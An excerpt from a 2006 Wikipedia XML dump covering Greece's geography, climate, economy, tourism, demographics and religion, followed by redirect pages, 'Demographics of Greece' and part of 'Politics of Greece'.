Four fifths of Greece consist of mountains or hills, making the country one of the most montainous in [[Europe]]. Western Greece contains a number of lakes and wetlands and it is dominated by the [[Pindus]] mountain range. Pindus has a maximum elevation of 2,636 m and it is essentially a prolongation of the [[Dinaric Alps]]. The range continues through western Peloponnese, crosses the islands of [[Kythera]] and Antikythera and find its way into southwestern Aegean, in the island of [[Crete]] where it eventually ends. (Actually the islands of the Aegean are peaks of underwater mountains that once consisted an extension of the mainland). Pindus is characterized by its high, steep peaks, often dissected by numerous canyons and a variety of other karstic landscapes. Most notably, the impressive [[Meteora]] formation consisting of high, steep boulders provides a breathtaking experience for the hundrends of thousands of tourists who visit the area each year. Special lifts transfer visitors to the scenic monasteries that lye on top of those rocks. Meteora are situated in the [[Trikala]] prefecture. The [[Vikos-Aoos Gorge]] is yet another spectacular formation and it is the second largest canyon on Earth, second only to the [[Grand Canyon]]. The Vicos-Aoos Gorge is a popular hotspot for those in fond of extreme sports. 

[[Mount Olympus]] is the tallest mountain in the country, located in the northern [[Pieria]] prefecture, near [[Thessaloniki]]. Olympus has a height of 2,917 m at its tallest peak. Once considered the thrown of the Gods, it is today extremely popular among hikers and climbers who deem its height as a challenge. Moreover, northeastern Greece features yet another high altitude mountain range, the Rhodope range, spreading across the prefectures of Eastern Macedonia and [[Thrace]]; this area is covered with vast, thick, ancient forests including the famous Dadia.

Expansive plains are primarily located in the prefectures of [[Thessaly]], Central Macedonia and Thrace. They constitute key economic regions as they are among the few arable places in the country. [[Volos]] and [[Larissa]] are the two largest cities of Thessaly.

Greece's [[climate]] consists of three types that influence well defined regions of its territory. Those are the Mediterranean, the Alpine and the Temperate types. The first one features mild, wet winters and hot, dry summers. The Cyclades, the Dodecanese, Crete, Eastern Peloponessus and parts of the Sterea Ellada refion are mostly affected by this particular type. Temperatures rarely reach extreme values although snowfalls do occur occasionally even in the Cyclades or Crete during the winter months. The Alpine type is dominant mainly in Western Greece ([[Epirus]], Central Greece, Thessaly, Western Macedonia as well as in the western and central parts of Peloponessus, including the prefectures of [[Achaea]], [[Arkadia]] and parts of [[Lakonia]], where the [[Pindus]] range passes by). Finally the Temperate type affects both Central and Eastern Macedonia as well as Thrace, mainly affecting the cities of [[Komotini]], [[Xanthi]] and the towns of northern [[Evros]]; it features cold, damp winters and hot, dry summers. [[Athens]] is located in a transitional area featuring both the Mediterranean and the Alpine types. The city's northern suburbs are dominated by the Alpine type while the downtown area and the southern suburbs enjoy a typical Meditteranean type.  

Rare marine species such as the [[Pinniped Seals]] and the [[Loggerhead Sea Turtle]] live in the seas surrounding mainland Greece, while its dense forests are home to the endagered [[brown bear]] , the [[lynx]], the [[Roe Deer]] and the Wild Goat.

== Economy ==
{{main|Economy of Greece}}

Greece has a [[capitalist economy]] with the public sector accounting for a considerable part of [[Gross Domestic Product|GDP]]. The Greek [[tourism]] industry remains thriving and its contribution in the growth of the GDP is considered important through foreign exchange earnings. What is more, Greece is a global leader in [[shipping]] (ranking first in terms of ownership of vessels and third by flag registration) [http://www.marad.dot.gov/MARAD_statistics/Country-MFW-7-04.pdf]. Exports of manufactured goods including telecommunications hardware and software, agricultural products, other foodstuff and fuels also account for a significant part of Greek income. Moreover, the country is the largest investor in southeastern [[Europe]] as far as the previous sectors are concerned. For more than two decades after 1950, Greece had the second highest economic growth rate in the world after Japan, resulting in a dramatic improvement in living standards. Since Greece became a full member of the [[European Union]], back in [[1981]], it has been a beneficiary of cohesion funds, along with [[Portugal]], [[Spain]] and [[Ireland]]. Those funds have proven to be particularly helpful in the nation's remarkable further economic development of the last 25 years. Starting in 1989 (and over the following years, according to different organizations) Greece joined the ranks of &quot;developed&quot;, &quot;advanced&quot; and &quot;high-income&quot; economies.

[[Image:1e gre.png|left|thumb|170px|[[Greek euro coins]]]]
The country enjoys a high standard of living, ranking 24th on the [[2005]] [[Human Development Index]] and 22nd on [[The Economist]]'s 2005 world-wide quality-of-life index[http://www.economist.com/media/pdf/QUALITY_OF_LIFE.pdf]. Average per capita income in 2005 was estimated at $22,800 [http://www.cia.gov/cia/publications/factbook/geos/gr.html] or 83% of the [[EU]] average in PPS (Purchasing Power Standards). The Greek Economy has seen uninterrupted strong growth since [[1992]] and above the [[EU]] average continuously since [[1994]]. Part of the Greek economy's impressive growth is attributed to the fact that the previous government tightened fiscal policy regulations in the run-up to the country's entry into the [[Eurozone]], set on [[January 1]], [[2001]]([[Greek euro coins]]). Also liberalisation of domestic markets, a modernised banking system, as well as massive investment ahead of the [[2004 Olympic Games]], have fueled the Economy. Moreover, Greece has been a net importer of foreign workers, mainly from neighbouring [[Albania]], [[Pakistan]] and [[Eastern Europe]], since the early 1990s.

Today the country is dealing with various challenges, including the reduction of [[unemployment]] which currently stands at slightly below 10%, the reform of the social security system, the privatization (at least in part) of the [[public sector]], the overhauling of the tax system and the further reduction of certain bureaucratic inefficiencies. Forecasts predict that [[2006]] will be yet another year of substantial economic growth, estimated to reach 3.7%, well above the European Union's average. The reduction of the [[fiscal deficit]] to the Eurozone target of 3% of [[gross domestic product|GDP]] has also become a key issue. Shortly after its election, the new conservative [[New Democracy]] government revealed to the [[Eurostat]] agency that the previous figures supplied to it by the [[PASOK]] government as the basis of the Greek entry into the Eurozone were [[Greek Financial Audit, 2004|not correct]] (although even according to the &quot;corrected&quot; numbers, when calculated with the methodology still in force at the time of the Greek application for entry, the country had actually met the criteria for entry into the the Eurozone). Under a negotiated agreement, the EU gave Greece a two year deadline (budgets of 2005 and 2006) in order to bring the deficit in line with the criteria of the [[European]] [[stability pact]]. Indeed, in 2005, the government managed to reduce the fiscal deficit by almost two percentage points and the goal of reaching the 3% target by the end of 2006 seems realistic.

The [[Bank of Greece]], now a subsidiary of the [[European Central Bank]], functions as the nation's central bank. This bank is not the same as the &quot;[[National Bank of Greece]]&quot;, a commercial bank.

On the 2006 agenda for the Greek government is the privatization of several state owned companies as well as that creation of a new National Airline to replace Olympic Airlines.

== Tourism ==
{{main|Tourism in Greece}}
Greece has traditionally been one of the most popular tourist destinations on a global basis and each year, particularly in the summer months, the nation's numerous cosmopolitan islands are packed with millions of international visitors. Unparalleled natural beauties, golden beaches, idyllic sunsets, a legendary nightlife and the world famous Greek cuisine combined with a unique hospitality and an impressively developing tourist infrastracture make Greece an irresistible hotspot for many. The spectacular success of the [[2004 Olympic Games]] boosted the country's international prestige even further and reaffirmed its status as one of the safest places to be. In [[2004]], Greece ranked 12th in terms of international tourist arrivals when more than 14.2 million visitors came to the country, many of which combining both vacations and attendance of Olympic athletic events. In [[2005]], however, those numbers increased by 14%, surpassing 16.1 million arrivals. In [[2006]], those figures are only expected to grow bigger.

The [[New Democracy]] government, that took power in March 2004, established a brand new Ministry of Tourism headed by Mr. [[Dimitris Avramopoulos]]. Mr Avramopoulos proved to be a particularly competent man, determined to massively promote the nation to new, emerging markets in addition to the traditional ones, through various means of communication. For instance and among other initiatives, [[Helena Paparizou]], the winner of the [[2005 Eurovision Song Contest]] was recently designated as the official ambassador of the [http://www.gnto.gr  Hellenic Tourism Organization]. An interesting fact that is attributed in all those efforts is that according to a survey conducted in [[China]] in 2005, Greece was voted as Chinese' people number one choice. On [[February 14]], [[2006]], Ms Fani Palli- Petralia was appointed as the new minister of Tourism as a result of an extensive cabinet reshufle. Mr. Avramopoulos was appointed as the new Health Minister. 

Overall, this year the Greek Ministry of Tourism plans to invest more than 30 billion euros in the tourism industry, one of the most essential sectors of the Greek economy. That is 4 times more than the amount spent in 2002 by the previous government. What is more, the government intends to promote winter tourism in Greece, something that could potentially double international arrivals.

Apart from [[Athens]], other top ranking tourist destinations include the islands of [[Mykonos]], [[Santorini]], [[Rhodes]], [[Crete]], [[Corfu]], [[Paros]], [[Ios]], [[Kos]], [[Kefallonia]], [[Zakynthos]] and [[Hydra]] as well as the northern [[Halkidiki]] peninsula.

== Demographics ==
{{main|Demographics of Greece}}
The population of Greece is (officially) 98% Greek [http://www.cia.gov/cia/publications/factbook/geos/gr.html#People] although Greece has various linguistic and cultural minorities. A non-comprehensive list of these would include [[Turkish people|Turks]], [[Macedonians (ethnic group)|Macedonian]] Slavs, [[Pomaks]], and various [[Roma (people)|Roma]] groups. A number of religious minorities exist, including the [[Greek Muslim minority|Muslim minority]] in [[Western Thrace|western Thrace]], which makes up about a third of that region's population.

About 60-65% of Greek immigrants have come from [[Albania]] (following the fall of communism) although some 200.000 have been documented as ethnic [[Greeks]] or ''homogeneis''. The other principal [[nationalities]] are, according to residence permit data, [[Bulgarians]], [[Armenians]], [[Romanians]], [[Ukrainians]], [[Pakistanis]] and [[Georgians]]; overall, over 180 different nationalities have been recorded. The legal status of immigrants has been very tenuous since the 1990s (as throughout [[the European Union]]), with high levels of illegality. Since 1997 three legalization programmes were enacted by the Greek state [a fourth went through in 2005].

Several prominent Greek sportsmen migrated to Greece as ethnic Greeks from [[Albania]] and [[Georgia (country)|Georgia]] in the 1990s, including legendary [[weightlifter]]s [[Pyrros Dimas]] and [[Kakhi Kakhiashvili]].

=== Religion ===
The majority of Greeks (95-98%) have at least nominal membership in the Eastern Orthodox Church. Greek [[Muslim]]s make up about 1.3% of the population, and live primarily in [[Western Thrace|Thrace]]. Greece also has some [[Roman Catholic]]s, mainly in the city of [[Patras]], [[Corfu]], and the [[Cyclades]] islands of [[Syros]], [[Paros]], [[Tinos]], and [[Naxos, Greece|Naxos]]; some [[Protestant]]s and some [[Jew]]s, mainly in [[Thessaloniki]] (which was once a major Jewish city until the [[Holocaust]]). Some groups in Greece have started an attempt to reconstruct [[Hellenic polytheism]], the ancient Greek [[paganism|pagan]] religion. See also: [[Greek Orthodox Church]].

Prior to Ottoman rule, Greece was part of the [[Byzantine Empire]]. The civil and religious capital of the Empire was moved to  [[Constantinople]] (modern day [[Istanbul]]) by [[Constantine I (emperor)|Constantine I]]. Since Constantine’s time the Orthodox Christian faith has flourished and spread throughout Eastern Europe. Even under [[Ottoman Empire|Turkish]] rule and repeated attempts at prosletization - firstly by the [[Jesuits]] and then by the Protestants - [[Orthodox Christianity]] survived and flourished. 

The role of the [[Church of Greece|Orthodox Church]] in maintaining Greek ethnic and cultural identity during the 400 years of Ottoman rule, strengthened the bond between religion and the state. Most Greeks, even many non-practicing Christians, revere and respect the Orthodox Christian faith; even the majority of non-beliving, secular Greeks feel culturally attached to their Church. Most Greeks attend Church during the Major Feast days, and are emotionally attached to [[Orthodox Christianity]] as their 'national' religion. 

The [[Constitution of Greece|Greek Constitution]] reflects this relationship by guaranteeing absolute freedom of religion while still defining the &quot;prevailing religion&quot; of Greece as the [[Eastern Orthodox Church]] of Christ. In practice, the [[Church of Greece|Orthodox Church]] and the secular state are intimately involved with one another in certain areas.  Joint approval is needed for the building of churches and the Church has even blocked the building of places of worship for other religions in [[Athens]].  Priests receive state salaries.  The President of the Republic takes an oath on the [[Bible]] and [[Orthodox Christianity]] is given privileged place in religious studies in primary education. Non Greek Orthodox members of parliament are sworn in accordance to their own faith. The Church has also been allowed to keep its large portfolio of financial assets exempt from taxation and fiscal auditing. 

Starting in January 2005, a series of highly publicised corruption scandals involving high rank church officials have led to many calls by secular Greeks for the complete separation of Church and State and greater control of Church assets. 

One small part of Greece, [[Mount Athos]], is recognised by the Greek constitution as an autonomous monastic republic, although foreign relations remain the prerogative of the Greek state.

Spiritually, Mount Athos is under the Patriarchate of Constantinople and is therefore in communion with all the monasteries on Mount Athos and with the Orthodox Church based in various countries. One monastery has recently broken away and has formed a completely independent schism on the Holy Mountain -- [[Esphygmenou Monastery]]. Esphygmenou is composed of 117 [[Zealot]] monks who stubbornly oppose the head of the Church and do not commemorate him any more. They believe that they are the last remaining true Christians in the world and that Orthodoxy has been corrupted by having dialogue with other faiths.  They also object to the lifting of the anathemas against the Roman Catholic Church in the 1960's by Patriarch [[Athenagoras]].

[[Jew]]s have been present in Greece for the last 2000 years. The earliest reference to a Greek Jew is in an inscription, dated c. 300-250 BCE found in Oropos, a small coastal town between [[Athens]] and [[Boeotia]], and refers to him as &quot;Moschos, son of Moschion the Jew&quot; who was in all likelihood, a slave. The first Greek Jewish population became known as the [[Romaniotes]] and their language became known as [[Yevanic language|Yevanic]] (from the [[Hebrew language|Hebrew]] word for Greece: יון/Yavan). From the 16th century onwards, [[Salonica]], a city in northern Greece, had one of the largest (mostly [[Sephardic]] by then) Jewish communities in the world and a solid rabbinical tradition. On the island of [[Crete]], the Jews played an important part in the transport trade. During [[World War II]], when Greece was occupied by [[Nazi]] [[Germany]], 86% of the Greek Jews were murdered by the invading Axis and only a minority survived and most of them have emigrated to [[Israel]]. Greece's Jewish community today is estimated at 4,500.

== Culture ==
{{main|Culture of Greece}}

Greece has produced a vast number of contributors to philosophy, astronomy, science, and the arts. {{see|List of Greeks}}

==See also==
{{portal}}
* [[List of cities in Greece]]
* [[Classics]]
* [[Greek products]]
* [[Economy of Greece]]
* [[Education in Greece]]
* [[List of folk dances sorted by origin#Greece|List of Greek dances]]
* [[List of museums in Greece]]
* [[Greek National Holidays]]
* [[List of research institutes in Greece]]
* [[List of universities in Greece]]
* [[Agriculture in Greece]]
*[[History of Greece]]
**[[Ancient Greece]]
**[[Greek mythology]]
**[[Hellenistic civilization]]
**[[Byzantine Empire]]
**[[Byzantium]]
**[[Ottoman Empire]]
**[[Paliki, Homer's Ithaca]]
**[[Philhellenism]]
* [[Tourism in Greece]]
* [[Greek products]]
* [[Economy of Greece]]
*[[Greek Language]]
*[[Communications in Greece]]
**[[List of Greek language television channels]]
**[[List of radio stations in Greece]]
*[[Greek newspapers]]
*[[Transportation in Greece]]
**[[List of Greek roads]]
**[[Rio-Antirio bridge]]
*[[Foreign relations of Greece]]
*[[Military of Greece]]
*[[Postage stamps and postal history of Greece]]
*[[Conscription in Greece]]
*[[Plateia Syntagmatos]] and [[Vouli ton Ellinon]]
*[[Greeks]]
*[[List of Greeks]]
*[[Greek American]]
*[[Greek Canadians]]
*[[Greek Australian]]
*[[Hellenic National Intelligence Service]]
*[[National Statistical Service of Greece]]

== External links ==
{{sisterlinks|Greece}}
*[http://www.defencetalk.com/pictures/showgallery.php/cat/4222 Greece Military Pictures at DefenceTalk.com Military Gallery]
*[http://www.hri.org HR-Net (Hellenic Resources Network)/ comprehensive Greek news site]
*[http://www.statistics.gr/ Official Greek Statistics Site]
*[http://www.ask4greece.org Ask for Greece/ A volunteer community for Q&amp;As about Greece]
*[http://www.gnto.gr/?langID=2/ Official Greek Tourist Organisation site]
*[http://www.greece-museums.com Greece Museums/ Museum directory of Greece]
*[http://www.athensvirtualtour.com/ Take a short virtual tour of Athens]
*[http://www.ert.gr/radio/liveradioTritovraxea.asp Radio Greece live]
*[http://www.phigita.net/news/ Greek News]
*[http://www.freeworldmaps.net/europe/greece/map.html Physical map of Greece]
*[http://dmoz.org/Regional/Europe/Greece/ Open Directory Project: Greece]
*[http://www.olympion.de/greek-embassies-worldwide.html A list of Greek Embassies Worldwide]
*[http://www.geabios.com/html/services/maps/PublicMap.htm?lat=38.33916&amp;lon=23.93902&amp;fov=8.59&amp;title=Greece Satellite images and maps of Greece] from [[GeaBios]] GIS Public Service

===Other official sites===

*[http://www.presidency.gr/en/index.htm President of the Hellenic Republic]
*[http://www.greece.gr/index.htm Greece Now Government sponsored e-zine on Greek life]
*[http://www.primeminister.gr/gr/lang/en/primeminister.asp Prime Minister of Greece]
*[http://www.parliament.gr/english/default.asp Hellenic Parliament]

{{EU_countries}}
{{NATO}}
{{Europe}}
{{Mediterranean}}

[[Category:Greece|Greece]]

[[af:Griekeland]]
[[ar:يونان]]
[[an:Grezia]]
[[roa-rup:Gârţii]]
[[ast:Grecia]]
[[az:Yunanıstan]]
[[bg:Гърция]]
[[zh-min-nan:Hi-lia̍p]]
[[be:Грэцыя]]
[[bn:গ্রীস]]
[[bs:Grčka]]
[[ca:Grècia]]
[[cs:Řecko]]
[[cy:Gwlad Groeg]]
[[da:Grækenland]]
[[de:Griechenland]]
[[et:Kreeka]]
[[el:Ελλάδα]]
[[es:Grecia]]
[[eo:Grekio]]
[[fa:یونان]]
[[fo:Grikkaland]]
[[fr:Grèce]]
[[fy:Grikelân]]
[[ga:An Ghréig]]
[[gd:A' Ghrèig]]
[[gl:Grecia - Ελλάδα]]
[[ko:그리스]]
[[hi:ग्रीस]]
[[hr:Grčka]]
[[io:Grekia]]
[[ilo:Grecia]]
[[id:Yunani]]
[[ia:Grecia]]
[[is:Grikkland]]
[[it:Grecia]]
[[he:יוון]]
[[ka:საბერძნეთი]]
[[kw:Pow Grek]]
[[ku:Yewnanistan]]
[[la:Graecia]]
[[lv:Grieķija]]
[[lt:Graikija]]
[[lb:Griicheland]]
[[li:Griekeland]]
[[hu:Görögország]]
[[mk:Грција]]
[[ms:Yunani]]
[[mo:Гречия]]
[[na:Greece]]
[[nl:Griekenland]]
[[nds:Grekenland]]
[[ja:ギリシャ]]
[[no:Hellas]]
[[nn:Hellas]]
[[oc:Grècia]]
[[os:Греци]]
[[pl:Grecja]]
[[pt:Grécia]]
[[ro:Grecia]]
[[ru:Греция]]
[[sq:Greqia]]
[[scn:Grecia]]
[[simple:Greece]]
[[sk:Grécko]]
[[sl:Grčija]]
[[sr:Грчка]]
[[fi:Kreikka]]
[[sv:Grekland]]
[[tl:Gresya]]
[[th:ประเทศกรีซ]]
[[vi:Hy Lạp]]
[[tpi:Gris]]
[[tr:Yunanistan]]
[[uk:Греція]]
[[zh:希腊]]
[[fiu-vro:Kriika]]</text>
    </revision>
  </page>
  <page>
    <title>Greece/History</title>
    <id>12109</id>
    <revision>
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        <ip>Conversion script</ip>
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      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[History of Greece]]

:''See also :'' [[Greece]]</text>
    </revision>
  </page>
  <page>
    <title>Greece/Geography</title>
    <id>12110</id>
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      <id>15909816</id>
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      <comment>redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Geography of Greece]]</text>
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  </page>
  <page>
    <title>Demographics of Greece</title>
    <id>12111</id>
    <revision>
      <id>37327799</id>
      <timestamp>2006-01-30T06:50:36Z</timestamp>
      <contributor>
        <username>Kelly Martin</username>
        <id>158241</id>
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      <minor />
      <comment>[[WP:AWB|AWB assisted]] clean up</comment>
      <text xml:space="preserve">The '''Demographics of Greece''' is about the population that has inhabited the Greek peninsula, a region where the [[Greek language]] has been continuously spoken for over 3500 years. The 2001 census of '''[[Greece]]''' reported a population of 10,964,020 people.

==Historical Overview==
[[Greece]] was inhabited as early as the [[Paleolithic]] period and by [[3000 BC]] had become home, in the [[Cycladic civilization|Cycladic Islands]], to a culture whose art remains among the most evocative in world history. Early in the [[2nd millennium BC]], the island of [[Crete]] nurtured the sophisticated maritime empire of the [[Minoans]], whose trade reached from [[Egypt]] to [[Sicily]]. The Minoans were challenged and eventually supplanted by the Mycenaeans of the Greek mainland, who spoke a dialect of ancient Greek. 

Prior to the second millennium BC, the Greek peninsula was inhabited by various pre-Hellenic peoples (notably the [[Pelasgians]]). After the invasion of the [[Greek language|Greek-speaking]] peoples, the local populations were displaced or assimilated and the [[Ancient Greece|ancient Greek]] civilization was formed. The [[Greek language]] dominated the peninsula, and Greece's mosaic of small city-states became culturally similar. The population estimates on the Greeks during the 5th century BC, is approximately 3 million on the Greek peninsula and 6 million in the entire Mediterranean basin (including all colonies). After [[Alexander the Great]]'s conquests, Greek culture and colonization was expanded in the [[Hellenistic]] Kingdoms of the East. After the [[Roman Empire|Roman]] occupation of Greece, the Greek culture was favoured by the Romans and it continued to dominate on the Eastern part of the Empire and in [[Rome]]. After the foundation of [[Constantinople]] in 330 AD by Constantine the Great, the [[Eastern Roman Empire]] developed independently from the West. It continued the use of [[Koine Greek|Greek]] until it totally displaced [[Latin language|Latin]] from the administration, and the empire became ethnically unified via the official adaption of [[Christianity]]. The most common term used by scholars to refer to that medieval state is '[[Byzantine Empire|Byzantine]]'. During the long history of the [[Byzantine Greek]] state, the Greek peninsula was occasionally invaded by the following peoples: [[Goths]], [[Avars]], [[Slavs]], [[Normans]], [[Franks]] and other [[Latin peoples|Latins]] who had betrayed the [[Crusades]]. The only group however which planned to established permanent settlements in the region were the Slavs. They settled in isolated valleys of [[Peloponnese]] and [[Thessaly]], establishing communities that were referred by the Byzantines as &quot;Sclavinias&quot;. By the 9th century AD, Sclavinias in Greece were largerly eliminated. The populations in central and southern Greece were the subject of population exchanges, army recruitments and Hellenizations, but some Slavic communities managed to survive in rural [[Macedonia (region)|Macedonia]]. At the same time a large [[Jewish]] emmigrant community from [[Spain]] established itself in [[Thessaloniki]]. The [[Byzantine Empire]] ultimately fell to [[Ottoman Empire|Ottoman Turks]] in 15th century. Ottoman colonies were established in the Balkans, notable in Macedonia, Peloponnese and Crete. The Christian subjects of the Sultan had very restricted rights, and during that period many religious conversions took place. For those reasons, the population of the region decreased, yet it remained largerly ethnically similar, as the Christians didn't have the right to use any means of transportation. The only notable event however, was the gradual settlement of [[Arvanites]] and [[Vlachs]] in isolated communities throughout the Greek peninsula. Some of the ancestors of those settlers survive until today, but only as linguistic groups of purely Greek ethnic identity.

The [[population exchange]]s with [[Bulgaria]] and [[Turkey]] that took place in the early 20th century, added in total some 2 million Greeks from [[Asia Minor]], [[Constantinople]], [[Bulgaria]], [[Albania]] and [[Yugoslavia]] to the demography of the Greek Kingdom.

==Education==
[[Image:Greece demography.png|thumb|Population of Greece from 1961 to 2003.]]
Greek education is free and compulsory for children between the ages of 5 and 15. English language study is compulsory from 5th grade through high school. University education, including books, is also free, contingent upon the student's ability to meet stiff entrance requirements. 

A high percentage of the student population seeks higher education. About 100,000 students are registered at Greek universities, and 15% of the population currently holds a university degree. Entrance to a university is determined by state-administered exams, the candidate's grade-point average from high school, and his/her priority choices of major. About one in four candidates gains admission to Greek universities.

The Greek law does not currently offer official recognition to the graduates of private universities that operate in Greece. As a result, a large and growing number of students are pursuing higher education abroad. The Greek Government decides through an evaluation procedure whether to recognize degrees from specific foreign universities as qualification for public sector hiring. Other students attend private, post-secondary educational institutions in Greece that are not recognized by the Greek Government.

The number of Greek students studying at European institutions is increasing along with EU support for educational exchange. In addition, nearly 5,000 Greeks are studying in the United States, about half of whom are in graduate school. Greek per capita student representation in the U.S. is the highest of any European country.

==Religion Groups in Greece==
[[Eastern Orthodox Christianity]] is the official and dominant religion in Greece. During the centuries of Ottoman domination, the [[Greek Orthodox Church]] preserved Greek language, values, and national identity and was an important rallying point in the struggle for independence. There is a '''[[Greek Muslim minority|Muslim minority]]''' concentrated in Thrace, which has a [[Turkic peoples|Turkish]] ethnic identity. Other religious communities in Greece include [[Catholic]]s, [[Jew]]s, [[Church of the Genuine Orthodox Christians of Greece|Old Calendar Orthodox]], [[Jehovah's Witnesses]], [[Mormon]]s, and [[Protestant]]s.

==Minority Ethnic and Linguistic Groups==
A survey conducted by the VPRC Institute in 2001 found the following minority linguistic groups in Greece:
* 3.3% [[Arvanitic language|Arvanitic]] speakers
* 2.2% [[Turkish language|Turkish]] speakers
* 2.0% [[Aromanian language|Aromanian]] speakers 
* 1.4% [[Italian language|Italian]] speakers
* 0.7% [[Russian language|Russian]] speakers
* 0.6% [[Macedonian language|Macedonian Slavic]] speakers
* 0.6% [[Romany language|Roma]] speakers
The survey mentioned that most of the respondents were using the [[Greek language]] in everyday life.

==Statistics==
'''Population:'''
10,964,020 (2001 Census)

'''Age structure:'''
&lt;br&gt;''0-14 years:''
15% (male 828,585; female 779,902)
&lt;br&gt;''15-64 years:''
67% (male 3,580,079; female 3,574,788)
&lt;br&gt;''65 years and over:''
18% (male 815,247; female 1,022,926) (2000 est.)

'''Population growth rate:'''
0.19% (2005 est.)

'''Birth rate:'''
9.72 births/1,000 population (2005 est.)

'''Death rate:'''
10.15 deaths/1,000 population (2005 est.)

'''Net migration rate:'''
2.34 migrant(s)/1,000 population (2005 est.)

'''Sex ratio:'''
&lt;br&gt;''at birth:''
1.06 male(s)/female
&lt;br&gt;''under 15 years:''
1.06 male(s)/female
&lt;br&gt;''15-64 years:''
1 male(s)/female
&lt;br&gt;''65 years and over:''
0.79 male(s)/female

&lt;br&gt;''total population:''
0.96 male(s)/female (2005 est.)

'''Infant mortality rate:'''
5.53 deaths/1,000 live births (2005 est.)

'''Life expectancy at birth:'''
&lt;br&gt;''total population:''
79.09 years
&lt;br&gt;''male:''
76.59 years
&lt;br&gt;''female:''
81.76 years (2005 est.)

'''Total fertility rate:'''
1.33 children born/woman (2005 est.)

'''Nationality:'''
&lt;br&gt;''noun:''
Greek(s)
&lt;br&gt;''adjective:''
Greek

'''Ethnic groups:'''
Greek 98%, other 2%

'''Religions:'''
Greek Orthodox 98%, Muslim 1.3%, other 0.7%

'''Languages:'''
Greek 99% (official), English, French

'''Literacy:'''
&lt;br&gt;''definition:''
age 15 and over can read and write
&lt;br&gt;''total population:''
97.5%
&lt;br&gt;''male:''
98.6%
&lt;br&gt;''female:''
96.5% (2003 est.)

==References==
*[http://www.geoplace.com/hottopics/CIAwfb/factbook/geos/gr.html CIA World Factbook 2004 entry for Greece]
*[http://www.v-prc.gr/ VPRC official site - source of report on minority language survery]

[[Category:Demographics by country|Greece]]
[[Category:Geography of Greece]]
[[Category:Greek society]]

[[el:Δημογραφία της Ελλάδας]]
[[fr:Démographie de la Grèce]]
[[pt:Demografia da Grécia]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of Greece</title>
    <id>12112</id>
    <revision>
      <id>38997893</id>
      <timestamp>2006-02-10T00:56:45Z</timestamp>
      <contributor>
        <ip>70.122.87.59</ip>
      </contributor>
      <comment>wikisyntax repair '</comment>
      <text xml:space="preserve">{{Politics of Greece}}
'''Politics of Greece''' takes place in a framework of a [[parliamentary system|parliamentary]] [[representative democracy|representative democratic]] [[republic]], whereby the [[Prime Minister of Greece]] is the [[head of government]], and of a pluriform multi-party system. [[Executive power]] is exercised by the government. [[Legislative power]] is vested in both the [[government]] and the [[Hellenic Parliament]]. Since the restoration of democracy the party system is dominated by the conservative [[New Democracy]] (''Νεα Δημοκρατια - Nea Dimokratia'') and the socialist [[Panhellenic Socialist Movement]] (''Πανελληνιο Σοσιαλιστικο Κινημα - Panellinio Sosialistiko Kinima''). The [[Judiciary]] is independent of the executive and the legislature.

The [[1975]] [[constitution]], which describes [[Greece]] as a &quot;[[President|presidential]] [[parliament]]ary [[republic]],&quot; includes extensive specific guarantees of [[civil liberties]] and vests the powers of the [[head of state]] in a president elected by parliament and advised by the Council of the Republic. The Greek governmental structure is similar to that found in many Western [[democracy|democracies]], and has been described as a compromise between the [[France|French]] and [[Germany|German]] models. The prime minister and [[cabinet]] play the central role in the political process, while the president performs some governmental functions in addition to ceremonial duties.

== Executive branch ==
{{office-table}}
|[[list of Presidents of Greece|President]]
|[[Karolos Papoulias]]
|
|[[March 12]] [[2005]]
|-
|[[list of Prime Ministers of Greece|Prime Minister]]
|[[Kostas Karamanlis]]
|
|[[March 10]] [[2004]]
|}
The [[Cabinet of Greece]] includes the heads of all executive ministries, appointed by the president on the recommendation of the 
The President is elected by Parliament for a five-year term (election last held [[March 7]] [[2004]]), and a maximum of two terms in office.  When a presidential term expires, Parliament votes to elect the new President.  In the first two votes, a 2/3 majority (200 votes) is necessary.  The third and final vote requires a 3/5 (180 votes) majority.  If the third vote is fruitless, Parliament is dissolved and elections are proclaimed by the outgoing President within the next 30 days.  In the new Parliament, the election for President is repeated immediately with a 3/5 majority required for the initial two votes and a simple majority (151 votes) for the third and final one.  The system is so designed as to promote consensus Presidential candidates among the main political parties.
The president has the power to declare war and to conclude agreements of peace, alliance, and participate in international organizations; upon the request of the government a three-fifths parliamentary majority is required to ratify such actions, agreements, or treaties. The president also can exercise certain emergency powers, which must be countersigned by the appropriate cabinet minister. Changes to the constitution in 1986 limited the president's political powers. As a result, the president may not dissolve parliament, dismiss the government, suspend certain articles of the constitution, or declare a state of siege. To call a referendum, he must obtain approval from parliament.

The prime minister is appointed by the president.

==Legislative branch==
Greece elects a [[legislature]] by universal suffrage of all citizens over the age of 18. The '''[[Parliament of Greece|Greek Parliament]]''' (''Vouli ton Ellinon'') has 300 members, elected for a four-year term by a system of reinforced [[proportional representation]] in 51 multi-seat [[constituency|constituencies]], 5 single-seat [[constituency|constituencies]] and a single nationwide list. 288 of the 300 seats are determined by constituecy voting, and voters may select the candidate or candidates of their choice by marking their name on the party ballot.  The remaining 12 seats are filled from nationwide party lists on a top-down basis and based on the proportion of the total vote each party received.  
Greece uses a complex reinforced proportional representation electoral system which discourages splinter parties and makes a parliamentary majority possible even if the leading party falls short of a majority of the popular vote. Under the current electoral law, any single party must receive at least a 3% nationwide vote tally in order to elect Members of Parliament (the so-called &quot;3% threshold&quot;).  The law in its current form favors the [[first past the post]] party to achieve a simple (151 parliamentary seats) majority, provided there is at least a roughly 1% tally advantage of the first party over the second one. This is touted to enhance governmental stability.  The electoral law can be changed by simple parliamentary majority (151 or more votes), but a law so changed only becomes enforced in the election following the upcoming one.

==Political parties and leaders==
{{elect|List of political parties in Greece|Elections in Greece}}
{{main|Greek legislative election, 2004}}
{{Greek parliamentary election, 2004}}

==Judicial branch==
Greece has a Supreme Judicial Court, judges appointed for life by the president after consultation with a judicial council; Special Supreme Tribunal, judges appointed for life by the president after consultation with a judicial council.

== Administrative divisions ==
